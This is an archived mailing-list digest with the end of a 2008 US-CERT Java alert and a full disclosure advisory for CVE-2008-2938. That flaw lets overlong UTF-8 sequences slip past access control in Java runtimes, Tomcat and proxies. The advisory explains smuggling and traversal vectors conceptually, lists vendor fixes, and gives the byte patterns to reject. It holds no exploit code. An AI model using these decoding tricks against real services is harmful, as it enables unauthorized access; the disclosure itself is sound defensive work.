<http://sunsolve.sun.com/search/document.do?assetkey=1-66-245246-1>
* Sun Alert 246266 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-246266-1>
* Sun Alert 246286 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-246286-1>
* Sun Alert 246346 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-246346-1>
* Sun Alert 246366 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-246366-1>
* Sun Alert 246386 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-246386-1>
* Sun Alert 246387 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-246387-1>
* Java SE Technologies at a Glance -
<http://java.sun.com/javase/technologies/>
* Java SE Security -
<http://java.sun.com/javase/technologies/security/index.jsp>
* Can I remove older versions of the JRE after installing a newer
version? -
<http://www.java.com/en/download/faq/5000070400.xml>
* Securing Your Web Browser -
<http://www.us-cert.gov/reading_room/securing_browser/>
____________________________________________________________________
The most recent version of this document can be found at:
<http://www.us-cert.gov/cas/techalerts/TA08-340A.html>
____________________________________________________________________
Feedback can be directed to US-CERT Technical Staff. Please send
email to <cert@cert.org> with "TA08-340A Feedback VU#544435" in
the subject.
____________________________________________________________________
For instructions on subscribing to or unsubscribing from this
mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
____________________________________________________________________
Produced 2008 by US-CERT, a government organization.
Terms of use:
<http://www.us-cert.gov/legal.html>
____________________________________________________________________
Revision History
December 05, 2008: Initial release
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)
iQEVAwUBSTmWjXIHljM+H4irAQLfMAgAloMlpeNv+WLW09EaIhzZ/VlEXwJnhB09
ResaptUSMPL+gEZF91XqfO+l6e0GEdWn9jhmU5uyxGLdqBfHc292LAOq2Ip2xbfE
IRFDAai//TCRNKI49i9zJhFAhTfuUnWqRtxo56i6vgIvfEtL9Vh/lfQQakI2bZra
jMI7J28pz6RLhVWnYhn45ktRqCod7Nr4JpDCGcTX/GqpDn1IcMwUUqmobaK+Zat8
PTBxVczoMOc9npL5ytXktw6xjVDcnc1BPzMWIzutKUdCMxDc5kNqUr00hPT2LOlb
vWxWKiMl2Ziy26SzCuwblV5ThY7nzbGixG9GFuEQef3OBmDVRzYERw==
=XmO2
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
Due to misconfiguration of mailing lists, it was just pointed out this is
already public. Apologies to those vendors who have not reacted to Sun's
announcements of December 2nd in a timely manner;
Mitre ID: CVE-2008-2938
Initial title: Java Runtime UTF-8 Decoding Flaw
Actual title: Java Runtime UTF-8 Decoder Smuggling Vector
Discovered by: William A. Rowe, Jr. <wrowe@rowe-clan.net>
Sr. Software Engineer, SpringSource, Inc.
Security Team member, Apache Software Foundation
Based on Tomcat Path Traversal Flaw reported by OuTian[1] and Simon Ryeo[2].
Thanks go to the members of the Apache Security Team for their energy and
endless efforts to triage and research potential vulnerabilities, separating
signal from noise; notably Remy Maucherat, Mark Thomas, Tim Ellison, and
Joe Orton for their various contributions to triaging this specific flaw.
** Sun's Resolution **
Sun released Java 6u11, 1.5.0_17, and 1.4.2_19 addressing this flaw. [3]
** IBM's Resolution **
IBM suffered a more limited vector which is addressed in J2SE 5.0 SR9, and
one would assume will be addressed by J2SE 1.4.2 SR13 and Java SE 6 SR4
but no further information was provided by IBM.
** Disclosure History **
Initial disclosures to the Java Runtime author community;
17 Jul - Apache Harmony Project
18 Jul - OpenJDK Project
21 Jul - Sun Microsystems, Inc.
28 Jul - HP
31 Jul - Apple, Inc.
Apache projects across the board, Spring, IBM, BEA, RedHat etc were also
notified at various points along the way.
** Background **
On July 15 OuTian reported a vulnerability in Apache Tomcat[2] whereby
overwide byte sequences in utf-8 could bypass both Apache Tomcat access
control restrictions as well as path decoding logic.
On July 17 Simon Ryeo reported[3] a variation of the same vulnerability in
Apache httpd server when proxying content generated from Tomcat.
Remy Maucherat wrote a patch to address this particular expression of the
vector for Tomcat 6.0.x[4] which also mitigates against any similar but as
yet undiscovered decoding vulnerabilities. This patch has also been ported
to 5.5.x[5] and 4.1.x[6]. On July 31st the Apache Software Foundation
published a mitigation to this vulnerability as Apache Tomcat release
6.0.18.[7] and added this vulnerability to the Apache Tomcat security
pages[8]. Releases for 5.5.x and 4.1.x will follow shortly. The Tomcat
vulnerability had been announced by Ryeo [9] but the full implications
remained undisclosed.
During the course of research, the Glassfish implementation was determined
not to be vulnerable to the specific exploit identified and reported by
OuTian/Ryeo. However, all implementations which accept overlong paths,
including Glassfish, remain vulnerable insofar as any access control is
implemented at the proxy or gateway layer of an http service. Apache Tomcat
release 6.0.18 is no longer vulnerable with respect to its URI path, as
6.0.18 rejects all requests where the decoded value changes the path
representation, but is still exposed due to this vector in other
characteristics.
That said, the underlying vector for this vulnerability identified by Rowe
is actually within the UTF-8 charset implementation of the
java.nio.charset.CharsetDecoder. The onMaformedInput CodingErrorAction is
not triggered by the presence of overlong utf-8 octet sequences in a number
of vulnerable Java runtime implementations, including Sun's JRE, OpenJDK,
HP's RTE, BEA's JRocket, IBM's SDK, Apple's SDK and Apache Harmony. Other
implementations were not tested.
On July 18th, Rowe and Maucherat confirmed this flaw in Apache Harmony,
Sun's JRE and OpenJDK, and began distributing this information to affected
Java Runtime authors to allow all to prepare appropriate fixes.
On August 13th, this information was made available to various framework
authors such as Spring, BEA, IBM, etc and other affected developers as
identified by US-CERT to address their specific exposure and potential
vulnerabilities. It is the desire of the author that this announcement
in limited form coincide with Sun's Synchronized Security Release[1] of
the Java platform in October, with parallel releases by HP, Apple, OpenJDK,
Apache Harmony etc within that time frame.
** Actual Vulnerability **
In RFC 3629 "UTF-8, a transformation format of ISO 10646" [10] and even as
early as the preceding RFC 2279 [11], F. Yergeau et. al. clearly identified
under section 6. "Security Considerations" the impact of overlong byte
sequences (and declaring same as invalid sequences) in January 1998. Such
Security Considerations were not discussed in the preceding RFC 2044 [12]
published October 1996.
Limiting consideration for the moment to the original vulnerability report
and the HTTP/1.1 URI syntax, it becomes immediately clear that; HTTP/1.1
does not specify an encoding for the URI (RFC 2616 [13] and RFC 2396 [14])
and treats it as a octet stream known to the client and origin server, and
otherwise transparent to intervening proxies. Specific characters in the
HTTP URI are significant, all of them within the US-ASCII character set
(which is a deliberate subset of UTF-8 and the first 128 code points of
Unicode). Many implementers and applications use UTF-8 encoding for their
URI patterns as permitted (but not required) by HTTP/1.1.
However, high octets have no specific meaning within RFC 2616 or RFC 2396.
Their presence, mapping two or more high octet bytes into a US-ASCII code
point, must be ignored by proxies, as such bytes are entirely appropriate
in other character sets and HTTP/1.1 does not attribute any UTF-8 properties
to this string. Non-conforming implementations which treat the entire URI
as UTF-8, and which suffer from decoding overlong octet sequences into the
US-ASCII range, will behave differently than their conforming cousins.
This mismatch of behavior results yet again in the same class of vectors
that were identified three years ago by Linhart, Klein, Heled and Orrin.
The essential premise of their HTTP Request Smuggling whitepaper [15] holds
that the subtle differences in request parsing yield surprisingly
disastrous results. The same is true where a CR-LF line termination,
delimiter, etc. can be tunneled through proxy layers which are conforming
across into a nonconforming endpoint.
The risks of this vector are not limited in any manner to the http
request line, however. Any multi-tier service may be at risk provided
that 1) the end point accepts invalid UTF-8 sequences, 2) an intermediate
transport layer performs no UTF-8 decoding, and 3) the intermediate
transport layer performs decoding, routing, or access control functions
based on US-ASCII assumptions about such invalid strings. Such services
might be external interfaces, or firewalled interfaces such as SQL query
strings and similar.
The authors of this note point out that the vulnerability is not to be
confused with the issue of normative canonical forms for string comparison.
As there should exist no mapping of code points > 127, any code point in
the range 0..127 should be available for parsing without an awareness that
the resulting string will be utf-8, provided all utf-8 high-bit octets are
passed unmodified in the same sequence. Full string comparisons for access
control containing code points > 127 require a normative form common to the
input and reference strings, and authors must take this into consideration
when implementing any access control based on UTF-8 where non-normative
forms can be passed through any intermediate access control, but are
accepted and then transformed by the endpoint into another representation.
** Mitigating Abuse **
There are a number of layers which a service author must be concerned with.
At the simplest, if the request is read in UTF-8 for http or similar request
protocols, yet the protocol does not define the request stream as UTF-8,
or is handled as essentially ASCII for transport purposes, embedded CR-LF
line delimiters may be abused for smuggling attacks.
Any delimiters within the input must then be considered. For example,
the colon of a header line may be rendered invisible, permitting headers
that would otherwise be rejected, or the various comma and similar
delimiters between fields may be hidden rendering multiple tokens into
a single apparent value.
Finally, the text itself may be encoded with apparently unknown values.
In the case of http, these must be passed on as connection level headers
rather than transport layer (hop by hop) headers and ignored. So some
field such as Transport-Encoding: chunked or Content-Length:value can
be passed without a proxy or service provider recognizing them for what
they are (a disallowed combination). The impact upon the HTTP URI was
already clearly disclosed, however it is not difficult to identify other
nefarious effects which this can have.
If the application cannot be migrated to a corrected Java VM, the author
should examine the conversions to utf-8 component by component, and
be very cautious to reject and terminate any connection where overlong
utf-8 sequences are identified. It's necessary to probe for these
explicitly if the VM will not reject them. Invalid patterns begin with
the octets 0xC0, 0xC1, 0xE0 followed by a value < 0xA0, 0xF0 followed by
a value < 0x90. Since five and six byte values cannot be represented by
UTF-16, the values 0xF5 and higher should be rejected out of hand.
Finally, if these overlong sequences are not explicitly parsed for, across
any sort of applications beyond http, note the following statement of fact
from RFC 3629;
o US-ASCII octet values do not appear otherwise in a UTF-8 encoded
character stream. This provides compatibility with file systems
or other software (e.g., the printf() function in C libraries)
that parse based on US-ASCII values but are transparent to other
values.
and contrast this to the case of an errant implementation such as those
found in the affected JVM's; this assumption must be turned on it's head.
Multiply the cases affected by this error both into and out of the
filesystem and other resources from a given java-based service. It becomes
critical that all evaluation occurs after that translation, and none before
the string becomes Unicode.
** References **
[1] OuTian, "Tomcat - Unicode decoding directory traversal vulnerability"
http://outian.org/tomcat.pdf
[2] Ryeo, S., "Directory Traversal Vulnerability"
https://issues.apache.org/bugzilla/show_bug.cgi?id=45417
[3] Sun Microsystems, Java SE 6 Update 11 Release Notes
http://java.sun.com/javase/6/webnotes/6u11.html
[4] Maucherat, R., "Additional normalization check"
http://svn.apache.org/viewvc?rev=678137&view=rev
[5] Thomas, M., "Additional normalization check"
http://svn.apache.org/viewvc?rev=681029&view=rev
[6] Thomas, M., "Additional normalization check"
http://svn.apache.org/viewvc?rev=681065&view=rev
[7] Maucherat, R., "[ANN] Apache Tomcat 6.0.18 released"
http://mail-archives.apache.org/mod_mbox/www-announce/200807.mbox [...]
/[EMAIL PROTECTED]
[8] "Tomcat Security Pages" http://tomcat.apache.org/security.html
[9] Ryeo, S., "Apache Tomcat Directory Traversal Vulnerability"
http://www.securityfocus.com/archive/1/495318/30/0/threaded
[10] Yergeau, F., "UTF-8, a transformation format of ISO 10646"
http://www.ietf.org/rfc/rfc3629.txt
[11] Yergeau, F., "UTF-8, a transformation format of ISO 10646"
http://www.ietf.org/rfc/rfc2279.txt
[12] Yergeau, F., "UTF-8, a transformation format of ISO 10646"
http://www.ietf.org/rfc/rfc2044.txt
[13] Fielding, R., et al., "HTTP/1.1"
http://www.ietf.org/rfc/rfc2616.txt
[14] Berners-Lee, T., R. Fielding, L. Masinter "URI Generic Syntax"
http://www.ietf.org/rfc/rfc2396.txt
[15] Linhart, C., A. Klein, R. Heled, S. Orrin "HTTP Request Smuggling"
http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
--- End Message ---